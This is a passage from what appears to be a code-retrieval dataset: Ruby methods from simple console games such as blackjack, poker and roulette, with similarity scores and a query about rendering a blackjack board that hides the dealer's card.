view_my_quests #Shows all a players quests\n elsif first == \"View_my_Inventory\"\n system \"clear\"\n view_my_gear #Shows all a players gear\n elsif first == \"View_my_Renown\"\n system \"clear\"\n view_my_renwon #Shows a players total renown\n elsif first == \"Slay_the_Dragon\"\n system \"clear\"\n dragon_message\n elsif first == \"Save_the_Kingdom\"\n system \"clear\"\n kingdom_message\n elsif first == \"Exit_Game\"\n system \"clear\"\n exit_game\n else \n return \n end\nend", "def welcome\n puts \"\\nWelcome user! We have created a guessing game for you.\"\n puts \"Try your best to guess the word or else the bouquet of \"\n puts \"roses will die.\"\n puts \"Hint: colors make things happy\\n\\n\"\nend", "def play_game\n\n\t\t# ask who would like to go first, user or computer\n\t\tputs \"Would you like to go first? Y/N\"\n\t\tstarter = gets.chomp.upcase\n\n\t\t# case when user takes first go\n\t\tif starter == \"Y\"\n\t\t\twhile total(current_score) > 0\n\t\t\t\tplayer_turn\n\t\t\t\t\n\t\t\t\t# case when player wins\n\t\t\t\tif total(current_score) == 0\n\t\t\t\t\tputs \"You win!\"\n\t\t\t\t\tplay_again\n\t\t\t\tend\n\n\t\t\t\tcomputer_turn\n\n\t\t\t\t# case when computer wins\n\t\t\t\tif total(current_score) == 0\n\t\t\t\t\tputs \"The computer wins!\"\n\t\t\t\t\tplay_again\n\t\t\t\tend\n\t\t\tend\n\t\t\n\t\t# case when computer takes first go\n\t\telse\n\t\t\twhile total(current_score) > 0\n\t\t\t\tcomputer_turn\n\n\t\t\t\t# case when player wins\n\t\t\t\tif total(current_score) == 0\n\t\t\t\t\tputs \"The computer wins!\"\n\t\t\t\t\tplay_again\n\t\t\t\tend\n\n\t\t\t\tplayer_turn\n\t\t\t\t\n\t\t\t\t# case when computer wins\n\t\t\t\tif total(current_score) == 0\n\t\t\t\t\tputs \"You win!\"\n\t\t\t\t\tplay_again\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def startBetting\r\n\t#1 -- Tell user their odds\r\n\tgetUserOdds\r\n\t@new_round = true #Flag for user to determine if its a new round\r\n\t@bet_made = false\r\n\tuser_bet = false\r\n\tloop = 0\r\n\tbet = 0\r\n\t\r\n\tbegin \r\n\t\tloop += 1\r\n\t\[email protected]_with_index do |player, index|\r\n\t\t#-- Calculate computer decisions\r\n\r\n\t\t\t#Check table\r\n\t\t\tif @table.length == 1\r\n\t\t\t\tprintLine\r\n\t\t\t\tputs \"Everyone has folded!\" \r\n\t\t\t\tputs \"Congratulations #{player.name} you won $#{@table.pot_size}!\"\r\n\t\t\t\tplayer.deposit(@table.pot_size)\r\n\t\t\t\t@hand_finished = true\r\n\t\t\t\treturn\r\n\t\t\tend\r\n\r\n\r\n\t\t\t# -- Compute Computer decision\r\n\t\t\tif player != @user\r\n\t\t\t\t#Fill style requirements to decide\r\n\t\t\t\tplayer.style.odds = player.odds\r\n\t\t\t\tplayer.style.starting_chip = @starting_chip\r\n\t\t\t\tplayer.style.bankroll = player.bankroll\r\n\t\t\t\tplayer.style.pot_size = @table.pot_size\r\n\t\t\t\tplayer.style.bet_made = true if @bet_made\r\n\t\t\t\tplayer.style.bet_made = false if !@bet_made\r\n\r\n\t\t\t\t@decision = player.style.decide\r\n\t\t\t\tif @decision == \"bet\"\r\n\t\t\t\t\tputs \"#{player.name} bet $2!\"\r\n\t\t\t\t\[email protected](2,player)\r\n\t\t\t\t\t@bet_made = true\r\n\t\t\t\telsif @decision == \"fold\"\r\n\t\t\t\t\tputs \"#{player.name} folded!\"\r\n\t\t\t\t\[email protected](player)\r\n\t\t\t\t\tplayer.folds += 1\r\n\t\t\t\t\tbreak if index == @num_players - 1\r\n\t\t\t\telsif @decision == \"check\"\r\n\t\t\t\t\tputs \"#{player.name} checked!\"\r\n\t\t\t\t\tputs index\r\n\t\t\t\t\tbreak if index == @num_players - 1\r\n\t\t\t\telsif @decision == \"call\"\r\n\t\t\t\t\tputs \"#{player.name} called!\"\r\n\t\t\t\t\[email protected](2,player)\r\n\t\t\t\t\tif index == @table.length - 1 && loop == 2\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\t# -- Compute User decision if user hasn't folded\r\n\t\t\telsif [email protected]? @user\r\n\t\t\t\t# 2 -- Ask for User input\r\n\t\t\t\tputs \"\"\r\n\t\t\t\tif @table.pot_size == 0 || new_round\r\n\t\t\t\t\tputs \"Your turn! Would you like to check, bet or fold?\" \r\n\t\t\t\telsif user_bet\r\n\t\t\t\t\tputs \"Your turn! Would you like to check or fold?\"\r\n\t\t\t\telse \r\n\t\t\t\t\tputs \"Your turn! Would you like to call or fold?\"\r\n\t\t\t\tend\r\n\t\t\t\tprint\"--> \"\r\n\t\t\t\t@choice = gets.chomp\r\n\t\t\t\tif @choice.include? 'bet' \r\n\t\t\t\t\[email protected](2,player)\r\n\t\t\t\t\t@bet_made = true\r\n\t\t\t\t\tuser_bet = true\r\n\t\t\t\t\tputs \"#{player.name} bet $2\"\r\n\t\t\t\telsif @choice.include? 'fold'\r\n\t\t\t\t\tputs \"\"\r\n\t\t\t\t\tputs \"#{player.name} folded!\"\r\n\t\t\t\t\[email protected](player)\r\n\t\t\t\t\tplayer.folds += 1\r\n\t\t\t\telsif @choice.include? 'check' \r\n\t\t\t\t\tputs \"#{player.name} checked!\"\r\n\t\t\t\t\tbreak if index == @table.length - 1\r\n\t\t\t\telsif @choice.include? 'call'\r\n\t\t\t\t\[email protected](2,player) \r\n\t\t\t\t\tputs \"#{player.name} called!\"\r\n\t\t\t\t\tif index == @table.length - 1 && loop == 2\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\t#Evaluate if round should continue after full loop\r\n\t\t\tif index == @table.length - 1 && loop == 1\r\n\t\t\t\tloop += 1\r\n\t\t\t\tif @choice.include? 'bet'\r\n\t\t\t\t\tstartBetting\r\n\t\t\t\telsif @choice.include? 'call' \r\n\t\t\t\t\tbreak\r\n\t\t\t\telsif @decision.include? 'bet'\r\n\t\t\t\t\tstartBetting\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\tend until loop == 2 \r\n\t\r\n\t#If River hand and \r\n\tif @betting_round == 4\r\n\t\t#2 -- Showdown\r\n\t\tprintLine\r\n\t\tputs \" \t SHOWDOWN ROUND!\"\r\n\t\tprintLine\r\n\r\n\t\t#1 -- Call API to get winning hand \r\n\t\tproxy = PokerOddsProxy.new(URL_ODDS)\r\n\t\thand = []\r\n\t\[email protected] {|player| hand += player.cards}\r\n\t\twinners = proxy.getWinners(hand,@table.length,@table.board)\r\n\t\twinner = winners[0,4]\r\n\r\n\t\[email protected] do |player|\r\n\t\t\tplayer.losses += 1 \r\n\t\t\tif winner == player.cards.join\r\n\t\t\t\tputs \"Congratulations #{player.name} you won $#{@table.pot_size}!\" \r\n\t\t\t\tplayer.deposit(@table.pot_size)\r\n\t\t\t\tplayer.wins += 1\r\n\t\t\t\tplayer.losses -= 1\r\n\t\t\tend\t\t\r\n\t\t\t@hand_finished = true\t\r\n\t\tend\r\n\tend\t\r\n\r\n\[email protected]\r\n\tprintLine\r\n\tputs \"Pot Total = $#{@table.pot_size}\"\r\n\t\r\nend", "def runner\n # code runner here\n welcome\n initial_round\n hit?\n display_card_total\n end_game\nend", "def introduction\n system 'clear'\n prompt(\"Each match is 5 rounds. First to 5 wins!\")\n prompt(\"Who is going first? Player or Computer? (p or c)\")\nend", "def start\n\n gamestart()\n\n puts \"Welcome to Lunar Lander!\"\n puts \"Are you ready to begin your adventure?\"\n puts \"\\n\"\n puts \"- Yes\"\n puts \"- No\"\n puts \"\\n\"\n\n print \"> \"\n start_game = $stdin.gets.chomp\n\n if start_game == \"Yes\" || start_game == \"yes\"\n launch()\n else\n puts \"Fine then.. keep your secrets.\"\n end\nend", "def new_game(min_bet)\n # Automatically boot player if not enough funds.\n @game_stats = {\n 'hands' => [],\n 'active_hand' => nil,\n 'turn_over' => false,\n 'bet' => 0,\n }\n if !can_bet(min_bet)\n fold\n return\n end\n end", "def start\r\n initialize_game\r\n until @game.over?\r\n take_turn\r\n end\r\n print_outcome\r\n end", "def bet_on_a_color \n puts \"\\nPlease choose the amount of your bet.\"\n puts \"Your bankroll balance is #{@player.bankroll}.\"\n print \"\\n Your bet amount is: $\"\n @bet_amount = gets.to_i\n player.bankroll = (@player.bankroll - @bet_amount) \n puts \"\\nWhat color would you like to bet on? Red or Black?\"\n puts \n user_color_choice = gets.strip.downcase \n roulette_color_result = @roulette_options.sample[:color]\n puts \n puts \"The wheel landed on #{roulette_color_result}.\" \n if user_color_choice == roulette_color_result\n color_bet_winnings = @bet_amount * 2\n @player.bankroll = @player.bankroll + color_bet_winnings \n puts \"\\n\\tYou win $#{color_bet_winnings}\"\n puts \"\\n\\tYour current balance is $#{@player.bankroll}.\"\n play_again_function \n else \n puts \"\\n\\tSorry, you lose.\"\n play_again_function \n end \n end", "def runner\n welcome\n deal_card\n display_card_total\n prompt_user\n get_user_input\nend_game\ninitial_round\nhit\ninvalid_command\nend", "def play_game_with_user_as_codebreaker\n @display.welcome_message_for_user_as_codebreaker\n generate_secret_code\n collect_first_guess_and_provide_feedback\n let_the_user_provide_successive_guesses_and_provide_feedback\n end", "def display_credits\r\n \r\n Console_Screen.cls #Clear the display area\r\n \r\n #Thank the player and display game information\r\n puts \"\\t Thank you for playing the Rock, Paper, Scissors game.\\n\\n\\n\\n\"\r\n puts \"\\n\\t\\t\\t Developed by Jerry Lee Ford, Jr.\\n\\n\"\r\n puts \"\\t\\t\\t\\t Copyright 2010\\n\\n\"\r\n puts \"\\t\\t\\tURL: http://www.tech-publishing.com\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\r\n \r\n end", "def check_balance_display\n\t\tputs \"#######################\"\n\t\tputs \"# #\"\n\t\tputs \"# Hi #{@username}, \"\n\t\tputs \"# #\"\n\t\tputs \"# Your current #\"\n\t\tputs \"# #\"\n\t\tputs \"# balance is: #\"\n\t\tputs \"# #\"\n\t\tputs \"# $#{@balance} \"\n\t\tputs \"# #\"\n\t\tputs \"# #\"\n\t\tputs \"#######################\"\n sleep(5) \n\tend", "def runner\n # code runner here\n welcome\n initial_round\n hit?\n display_card_total\nend_game\n\nend", "def start_game\n puts \"----- WELCOME TO twO-O-Player MATH GAME! -----\"\n puts \"#{@player1.name} vs #{@player2.name} 🥊 Game on!\\n\\n\"\n end", "def start \n\t @output.puts \"Welcome to Noughts and Crosses!\"\n\t @output.puts \"Created by:#{created_by}\"\n\t @output.puts \"StudentID: #{student_id}\"\n\t @output.puts \"Starting game...\"\n\t @output.puts \"Player 1: 0 and Player 2: 1\"\n\n\t\n\tend", "def start\n puts \"Load game or start new?\"\n puts \"Type 'load' to load a previous save, or type 'new' to start a new game.\"\n game_type = gets.chomp.downcase.strip\n if game_type == \"load\"\n load\n elsif game_type == \"new\"\n load_secret_word\n init_guess_count\n @wrong_guesses = []\n else\n start\n end\n end", "def start\n puts \"----------------------------------------------------\"\n if deck.cards.count == 1\n puts \"Welcome to Flashcards! You're playing with #{deck.cards.count} card.\"\n else\n puts \"Welcome to Flashcards! You're playing with #{deck.cards.count} cards.\"\n end\n puts \"----------------------------------------------------\"\n\n i = 0\n while i < deck.cards.count\n\n puts \"This is card #{i + 1} of #{deck.cards.count}.\"\n puts \"Question: #{deck.cards[i].question}\"\n\n guess = gets.chomp\n take_turn(guess)\n\n puts \"#{turns[i].feedback}\"\n\n i += 1\n end\n\n puts \"----------------------------------------------------\"\n puts \" ** GAME OVER! ** \"\n puts \"----------------------------------------------------\"\n\n if number_correct == 1\n puts \"You had #{number_correct} correct guess out of #{deck.cards.count} for a total score of #{percent_correct}%.\"\n else\n puts \"You had #{number_correct} correct guesses out of #{deck.cards.count} for a total score of #{percent_correct}%.\"\n end\n categories.each do |category|\n puts \"#{category}: #{percent_correct_by_category(category)}%\"\n end\n end", "def congrats\n\t\tp \"Congrats on Guessing the Word\"\n\tend", "def show_credits\r\n Console_screen.cls\r\n puts \"\\t\\tThank you for playing the number guessing game.\\n\\n\\n\\n\"\r\n puts \"\\n\\t\\t\\t Developed by Cameron Jordan\\n\\n\"\r\n puts \"\\t\\t\\t\\t Copyright 2020\\n\\n\"\r\n end", "def place_bets\n @roulette_wheel\n print `clear`\n puts \"Royal\".colorize(:blue) + \" Roulette\".colorize(:yellow)\n puts \"-----------------------\"\n puts \"Your wallet currently has $#{@wallet}\\n\".colorize(:blue)\n puts \"What do you want to bet on?\"\n puts \"Your options are: \"\n\n # Loop through and print bet options\n i = 0\n while i < 10\n print @bet_options[i] \n print \", \"\n i = i + 1\n end\n puts @bet_options[10] # prints final value w/o comma\n \n # Asks user for how much they would like to place on that particular bet\n print \"> \"\n bet_option = gets.strip.downcase\n puts \"And how much do you want to bet on that?\"\n print \"> $\"\n bet_amount = gets.to_i\n \n # Tests whether user has enough funds to make the bet\n if bet_amount > @wallet\n puts \"Not enough funds in your wallet!\"\n puts \"Try a different bet amount, or exit.\"\n else # Saves the bet, and withdraws funds from wallet\n @bet_array.push(Bet.new(bet_option,bet_amount))\n @wallet -= bet_amount\n end\n\n continue_bets # Identifies whether the user wants to keep betting more\n end", "def display_credits\r\n \r\n Console_Screen.cls #Clear the display area\r\n \r\n #Thank the player and display game information\r\n puts \"\\t\\t Thank you for playing the Ruby \" +\r\n \"Tic-Tac-Toe game.\\n\\n\\n\\n\"\r\n puts \"\\n\\t\\t\\t Developed by Jerry Lee Ford, Jr.\\n\\n\"\r\n puts \"\\t\\t\\t\\t Copyright 2010\\n\\n\"\r\n puts \"\\t\\t\\tURL: http://www.tech-publishing.com\\n\\n\" +\r\n \"\\n\\n\\n\\n\\n\\n\\n\\n\"\r\n\r\n end", "def greeting\n buffer\n line\n puts \"Welcome to the Hero Battle Simulator.\"\n puts \"Press 1 to play as a Hero. Press 2 to play as a Villain.\"\n line\n buffer\n choice = gi_integer\n if choice == 1\n hero_setup\n elsif choice == 2\n villain_setup\n else puts \"Sorry, please enter either 1 or 2.\"\n greeting\n end\n end", "def display_welcome(player1, player2)\n puts \"Welcome to Math Mania, #{player1.name} and #{player2.name}!\\n\"\n puts \"You will be competing against your friend for the highest score.\"\n puts \"Type your best guess. All division questions are rounded to the \"\n puts \"nearest whole number.\\n\"\n puts \"Type QUIT to exit.\"\n end", "def first_turn\n\t\tputs \"Player 1 starts.\"\n\t\thelp\n\t\tturn(@player1)\n\tend" ]
[ "0.7454799", "0.6708229", "0.6477216", "0.6459236", "0.6425022", "0.6409845", "0.64087886", "0.63530004", "0.6330695", "0.6300474", "0.62683123", "0.62398016", "0.62346554", "0.6215031", "0.6194557", "0.6191934", "0.61730045", "0.61709076", "0.6167473", "0.6154076", "0.6150431", "0.6125305", "0.61215985", "0.61159533", "0.61028713", "0.60909575", "0.6075545", "0.6075278", "0.6053598", "0.60505515", "0.60489583", "0.60489583", "0.6042085", "0.6040377", "0.60320765", "0.60273", "0.6022816", "0.6022265", "0.6013268", "0.600847", "0.6007774", "0.60043436", "0.6003539", "0.5992822", "0.5991559", "0.59840554", "0.597916", "0.5965556", "0.59626466", "0.5961849", "0.59594554", "0.595883", "0.59523016", "0.5948941", "0.59468347", "0.5932988", "0.5924653", "0.59219444", "0.5918341", "0.5909772", "0.59056115", "0.59054947", "0.5900973", "0.5900126", "0.58999544", "0.5884455", "0.588265", "0.5878597", "0.58714414", "0.58702326", "0.586662", "0.58665884", "0.5860879", "0.5858606", "0.5858364", "0.5850438", "0.58424693", "0.5841021", "0.5836595", "0.58352363", "0.58352137", "0.58347774", "0.5830032", "0.5828913", "0.5821479", "0.58209586", "0.5816707", "0.58103186", "0.58098155", "0.5808758", "0.5808696", "0.5805222", "0.58043754", "0.58027774", "0.5800672", "0.5791042", "0.57813525", "0.5778615", "0.57749975", "0.5773825" ]
0.82758874
0
Display (and refresh) the board screen, call the generate_ASCII_card method +++ and the concatenate_cards to display the player hands, it takes one argument: hidden_dealer: accept true or false, if true the second card of the dealer +++ will be hidden.
def display_board_screen(hidden_dealer) display_hand_dealer = [] display_hand_player = [] if hidden_dealer dealer_card = [generate_ASCII_card(@hand_dealer[0]),generate_ASCII_card(@hidden_card)] display_hand_dealer = concatenate_cards(dealer_card) else dealer_card = [] @hand_dealer.each do |card| dealer_card.push(generate_ASCII_card(card)) end display_hand_dealer = concatenate_cards(dealer_card) end @hand_player.each do |card| player_card = [] @hand_player.each do |card| player_card.push(generate_ASCII_card(card)) end display_hand_player = concatenate_cards(player_card) end system "clear" or system "cls" puts "Dealer:" puts display_hand_dealer puts puts "Player:" puts display_hand_player puts puts "Do you want to (h)it or (s)tay?" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def display_hands(player_hand, dealer_hand, hide_dealer=false)\n system('clear') || system('cls')\n puts \">>>>>> Twenty-One <<<<<<\"\n prompt(\"Dealer's Hand:\")\n print_cards(dealer_hand, hide_dealer)\n puts\n prompt(\"Player's Hand:\")\n print_cards(player_hand)\nend", "def display_hands\n @output.puts '--'\n @output.puts \"| Pot: $#{@game.pot}\"\n @output.puts \"| Ante: $#{@game.ante}\"\n @output.puts '--'\n\n @output.puts @player\n @output.puts \"#{@player.view_hand(:format => :string)}\".rjust(5)\n\n bots = @game.players[[email protected]]\n bots.each do |bot|\n @output.puts ''.center(WIDTH, '-')\n @output.puts bot\n hand = bot.view_hand\n # Hide the first card for all bots. No cheating!\n public_hand = hand[1..hand.size].join(' ')\n # public_hand = bot.view_hand.reject do |c|\n # c == bot.view_hand.first\n # end.join(' ')\n @output.puts \"** #{public_hand}\".rjust(5)\n end\n end", "def display_hands(player_hand, dealer_hand, dealer_turn)\n\tputs \"Debug: display_hands\" \n\n\t# show the hands\n\tputs \" Player Dealer\"\n\tputs \" ====== ======\"\n\n\t# Determine the max rows to display\n\tmax_rows = [player_hand.length, dealer_hand.length].max\n\n\tfor index in 0..max_rows-1\n\t\tdisplay_card(player_hand, dealer_hand, index, dealer_turn)\n\tend\n\n\t# Print the totals\n\tdisplay_card_total(player_hand, dealer_hand, dealer_turn)\nend", "def display_hands(cards_of_player, cards_of_dealer, player_name, hidden)\n system 'clear'\n print \"#{player_name}:\\t\"\n cards_of_player.each {|card| print card.join + ' '}\n puts \"\\t\\tPoints: #{calculate_points(cards_of_player)}\"\n puts\n print \"Dealer:\\t\"\n cards_of_dealer.each_with_index do |v, index|\n if !hidden || index == 0\n print v.join + ' '\n else\n print \"??\" + ' '\n end\n end\n\n print \"\\t\\tPoints: #{calculate_points(cards_of_dealer)}\" if !hidden\n puts\n puts\nend", "def display_board(hide_secret = false)\n\t\tdisplay_colors\n\t\tdisplay_decoding_rating_board\n\t\tdisplay_secret_board(hide_secret)\n\tend", "def card_display(cards, num_cards, hidden = false)\n dealer_first_card = cards[0] if hidden == true\n cards[0] = [' ', ' '] if hidden == true\n num_cards.times { print \" ______ \" }\n puts \"\"\n num_cards.times { |num| print \" |#{cards[num][0].encode('utf-8')} |\" }\n puts \"\"\n num_cards.times { print \" | |\" }\n puts \"\"\n num_cards.times { |num| print \" | #{cards[num][1]} |\" }\n puts \"\"\n num_cards.times { print \" | |\" }\n puts \"\"\n num_cards.times { |num| print \" |_____#{cards[num][0].encode('utf-8')}|\" }\n puts \"\"\n cards[0] = dealer_first_card if hidden == true\nend", "def display_game \n @@PLAYERS.each do |player|\n puts player\n print \"\\t\"\n hand(player).each do |card|\n print card\n print ' '\n end\n puts\n end\n @hole_cards.each do |card|\n print card \n print ' '\n end\n end", "def display_card(player_hand,dealer_hand,index,dealer_turn)\n\t#puts \"debug: display_card\"\n\n\tif index >= dealer_hand.length\n\t\t# we know that we have gone past the length of the hand, so print blanks\n\t\tplayer_card = ' '\n\telse\n\t\tplayer_card = player_hand[index]\n\tend\n\n\t# To print the dealer hand, we know that if dealer_turn is false, don't dislay the second card\n\tif !dealer_turn\n\t\tif index == 1\n\t\t\tdealer_card = '--'\n\t\telsif index == 0\n\t\t\tdealer_card = dealer_hand[0]\n\t\telse\n\t\t\tdealer_card = ' '\n\t\tend\n\telse \n\t\t# We know it is the dealer turn\n\t\tif index >= dealer_hand.length\n\t\t\t# we know that we have gone past the length of the hand, so print blanks\n\t\t\tdealer_card = ' '\n\t\telse\n\t\t\tdealer_card = dealer_card[index]\n\t\tend\n\tend\n\n\tputs (\" \" * (13 - player_card.length)) + player_card + (\" \" * (17 - dealer_card.length)) + dealer_card\nend", "def show_visible_card\n puts \"*******************************************************************\"\n puts \" Dealer's visible card is: \" + num_to_rank(@hand[1])\n puts \"*******************************************************************\"\n end", "def board_show_all(computers_cards_value, players_cards_value, players_cards, computers_cards, players_cards_two, players_cards_two_value)\n system 'clear'\n linewidth = 100\n #add the cards\n puts (('BlackJack').ljust(linewidth / 3)) + (('Computers Cards').center(linewidth / 3)) + (('Computers Cards Value = '+computers_cards_value.to_s+'').rjust(linewidth / 3))\n print ('').center(linewidth / 3)\n cards_print(computers_cards)\n puts ''\n puts ''\n puts ''\n if players_cards_two_value >0\n puts (('').ljust(linewidth / 3)) + (('Players Double Down Cards').center(linewidth / 3)) + (('Players Cards Value = '+players_cards_two_value.to_s+'').rjust(linewidth / 3)) \n print ('').center(linewidth / 3)\n cards_print(players_cards_two)\n end\n print ('').center(linewidth / 3)\n cards_print(players_cards)\n puts '' \n puts (('').ljust(linewidth / 3)) + (('Players Cards').center(linewidth / 3)) + (('Players Cards Value = '+players_cards_value.to_s+'').rjust(linewidth / 3)) \n end", "def board(computers_cards_value, players_cards_value, players_cards, computers_cards, players_cards_two, players_cards_two_value)\n system 'clear'\n linewidth = 100\n #add the cards\n puts (('BlackJack').ljust(linewidth / 3)) + (('Computers Cards').center(linewidth / 3)) + (('Computers Cards Value = '+computers_cards_value.to_s+'').rjust(linewidth / 3))\n print ('').center(linewidth / 3)\n cards_print(computers_cards)\n print \"Hidden Card\"\n puts ''\n puts ''\n puts ''\n if players_cards_two_value >0\n puts (('').ljust(linewidth / 3)) + (('Players Double Down Cards').center(linewidth / 3)) + (('Players Cards Value = '+players_cards_two_value.to_s+'').rjust(linewidth / 3)) \n print ('').center(linewidth / 3)\n cards_print(players_cards_two)\n end\n print ('').center(linewidth / 3)\n cards_print(players_cards)\n puts '' \n puts (('').ljust(linewidth / 3)) + (('Players Cards').center(linewidth / 3)) + (('Players Cards Value = '+players_cards_value.to_s+'').rjust(linewidth / 3)) \n end", "def display\n \"\\n=============COMPUTER BOARD=============\\n\" +\n \"#{@npc.board.render}\\n\" +\n \"==============PLAYER BOARD==============\\n\" +\n \"#{@user_board.render(true)}\\n\"\n end", "def opening_deal(dealer, player, deck, hidden_card_var)\n sleep(1)\n clear_display\n deal_hidden_card!(dealer, deck, hidden_card_var)\n display_dealer_hand(dealer, hidden_card_var, false)\n add_5_lines_to_display\n puts \"\\n\"\n sleep(1)\n hit!(player, deck)\n display_player_hand(player)\n sleep(1)\n hit!(dealer, deck)\n clear_display\n display_dealer_hand(dealer, hidden_card_var, false)\n display_player_hand(player)\n sleep(1)\n hit!(player, deck)\n clear_display\n display_dealer_hand(dealer, hidden_card_var, false)\n display_player_hand(player)\nend", "def printGameState(hide_dealer_card=true)\n puts \"--- TABLE STATE ---\"\n puts @dealer.printHands(hide_dealer_card)\n @players.each do |player|\n puts player.printHands\n end\n pressKeyToContinue\nend", "def display\n system('clear')\n puts\n # show board with pieces\n print \"\\t\\tA\\tB\\tC\\tD\\tE\\tF\\tG\\tH\\n\\n\"\n print \"\\t +\", \" ----- +\"*8,\"\\n\\n\"\n 8.downto(1) do |rank|\n print \"\\t#{rank} |\\t\"\n 'A'.upto('H') do |file|\n if board[\"#{file}#{rank}\".to_cell] then piece = board[\"#{file}#{rank}\".to_cell]\n else piece = \" \"\n end\n print \"#{piece} |\\t\"\n end\n print \"#{rank}\\n\\n\\t +\", \" ----- +\"*8,\"\\n\\n\"\n end\n print \"\\t\\tA\\tB\\tC\\tD\\tE\\tF\\tG\\tH\"\n puts \"\\n\\n\"\n # show occupancy\n print \" White occupancy: \"\n puts whitePieces.to_cells.map{ |cell| cell.to_square}.join(\", \")\n print \" Black occupancy: \"\n puts blackPieces.to_cells.map{ |cell| cell.to_square}.join(\", \")\n puts\n # show whose move it is\n case @whitesMove\n when true\n puts \" WHITE to move.\"\n when false\n puts \" BLACK to move.\"\n end\n puts\n end", "def printCards(hide_card=true)\n card_strings_array = printCardsArray\n if hide_card # If hide the last card, remove the last\n card_strings_array.pop # string and replace it with \"X:X\"\n card_strings_array.push(\"X:X\")\n end\n to_print = \"\"\n card_strings_array.each do |card_string| # concatenate everything\n to_print += card_string\n end\n to_print + \"\\n\"\n end", "def show_console(own_board, enemy_board)\n #This method shows the entire player console, with both Ships\n #(friendly waters), and Balistics (enemy waters)\n print \"\\n\\n\"\n print header_row + standard_gap + header_row + \"\\n\"\n own_grid = own_board.visual_grid(:show_ships)\n enemy_grid = enemy_board.visual_grid(:hide_ships)\n y = 0\n 10.times do\n print (\"A\"..\"J\").to_a[y] #Place letter at front of row string\n print \" \" + own_grid[y] + standard_gap\n print (\"A\"..\"J\").to_a[y]\n print \" \" + enemy_grid[y] + \"\\n\"\n y += 1\n end\n print \"\\n\" + ships_title + standard_gap + balistics_title + \"\\n\"\n print \"\\n\" + board_key + \"\\n\\n\"\n end", "def dealer_turn\n @dealer.show_hidden_card\n render_cards(@dealer.cards_in_hand, \"The Dealer shows his hidden card...\")\n hit_loop(@dealer) unless @player.bust?\n end", "def show_hand\n if @hand.point == \"Blackjack\" # the dealer should reveal both cards when it has blackjack\n @hand.turn_all_cards_up\n puts \" #{@hand.to_s} Blackjack\\n\" \n else\n puts \" #{@hand.to_s}\\n\"\n end\n end", "def display_board\n if @lists.empty?\n display_menu\n end\n\n system \"clear\"\n \n # Itereate through each list in the board\n for list in @lists.values\n # Store the card description in an array used to print to the user\n card_descriptions = []\n for card in list.cards.values\n card_descriptions.push(card.description)\n end\n\n # Use a TTY Box to represent a list visually\n print TTY::Box.frame(width: 30, height: (list.cards.values.length + 1) * 2, title: {top_left: \"#{list.title}\"}) { card_descriptions.join(\"\\n\") }\n end\n\n display_menu\n end", "def deal_cards\n Print.heading('Dealing initial cards')\n deal_card_to_players\n dealer_card_to_dealer(false) #false to hide first dealer card\n deal_card_to_players\n dealer_card_to_dealer(true)\n end", "def show_hands\n puts \"Dealer Shows\"\n @dealer.hand.print_hand(1)\n puts \"Your hand is\"\n @player.hand.print_hand\n end", "def show_hand(player_ID)\n card_ID = 0\n print_with_pause(\"Here are your cards...\".colorize(:red))\n print_with_pause(\"Choose wisely.\".colorize(:red))\n waits(2)\n puts `clear`\n while card_ID < @players[player_ID].cards.length\n line_number = card_ID + 1\n puts (line_number.to_s + \". \" + @players[player_ID].cards[card_ID].value).colorize(:black).on_white\n card_ID = card_ID + 1\n end\n end", "def display_hands(player_hand, computer_hand, player_name)\n sleep(1)\n system 'clear'\n i = 0\n puts \"\\n*** Computer's Hand ***\"\n puts \"* of ******\"\n computer_hand.each_key do |card|\n puts \"#{card}\"if i > 0\n i += 1\n end\n\n show_player_hand(player_hand, player_name)\n puts \"\"\nend", "def show_dealer_cards(dlr_first_hand, game_status)\n c1_pic = dlr_first_hand[:show_card_1][:picture]\n c1_name = dlr_first_hand[:show_card_1][:name]\n c2_pic = dlr_first_hand[:show_card_2][:picture]\n c2_name = dlr_first_hand[:show_card_2][:name]\n hits = dlr_first_hand[:hit_cards].map { |n| n[:name] }\n dealer_hand_total = game_status[:dealer_hand]\n\n if game_status[:show_all_hands] == false\n c2_pic = '? '\n dealer_hand_total = \"unknown\"\n end\n\n prompt \"***** Dealers Cards *****\"\n prompt \"Here are the dealers first 2 cards\"\n prompt \"First card => #{c1_name}\"\n prompt \"Second card => Dealer to know, you to find out..\"\n prompt \"+-----+ +-----+\"\n prompt \"| | | |\"\n prompt \"| #{c1_pic} | | #{c2_pic} |\"\n prompt \"| | | |\"\n prompt \"+-----+ +-----+\"\n prompt \" \"\n prompt \"Dealers 'hit cards' #{hits}\"\n prompt \"The dealers total card count is #{dealer_hand_total}\"\nend", "def show_dealer_cards(dlr_first_hand, game_status)\n c1_pic = dlr_first_hand[:show_card_one][:picture]\n c1_name = dlr_first_hand[:show_card_one][:name]\n c2_pic = dlr_first_hand[:show_card_two][:picture]\n c2_name = dlr_first_hand[:show_card_two][:name]\n hits = dlr_first_hand[:hit_cards].map { |n| n[:name] }\n dealer_hand_total = game_status[:dealer_hand]\n\n if game_status[:show_all_hands] == false\n c2_pic = '? '\n dealer_hand_total = \"unknown\"\n end\n\n prompt \"***** Dealers Cards *****\"\n prompt \"Here are the dealers first two cards\"\n prompt \"First card => #{c1_name}\"\n prompt \"Second card => Dealer to know, you to find out..\"\n prompt \"+-----+ +-----+\"\n prompt \"| | | |\"\n prompt \"| #{c1_pic} | | #{c2_pic} |\"\n prompt \"| | | |\"\n prompt \"+-----+ +-----+\"\n prompt \" \"\n prompt \"Dealers 'hit cards' #{hits}\"\n prompt \"The dealers total card count is #{dealer_hand_total}\"\nend", "def printHands(hide_card=true)\n to_print = \"\\nDealer: \" + @hands[0].printCards(hide_card)\n end", "def display_table(player_array, match_card, deck, discard_pile)\n @cards = sort_cards\n puts \"------------#{@name}'s go------------\".colorize(:green)\n (player_array.length).times do |i|\n if player_array[i].cards.length == 1\n print \"| #{player_array[i].name} only has one card left! \".colorize(:black).colorize(background: :light_red)\n else\n print \"| #{player_array[i].name} has #{player_array[i].cards.length} cards \"\n end\n end\n puts \"| #{deck.cards.length} cards left in deck \"\n #puts \"| #{discard_pile.cards.length} cards in discard pile \"\n puts '_______________________________________________________________________________________'\n puts 'Discard pile card to match is: '\n print 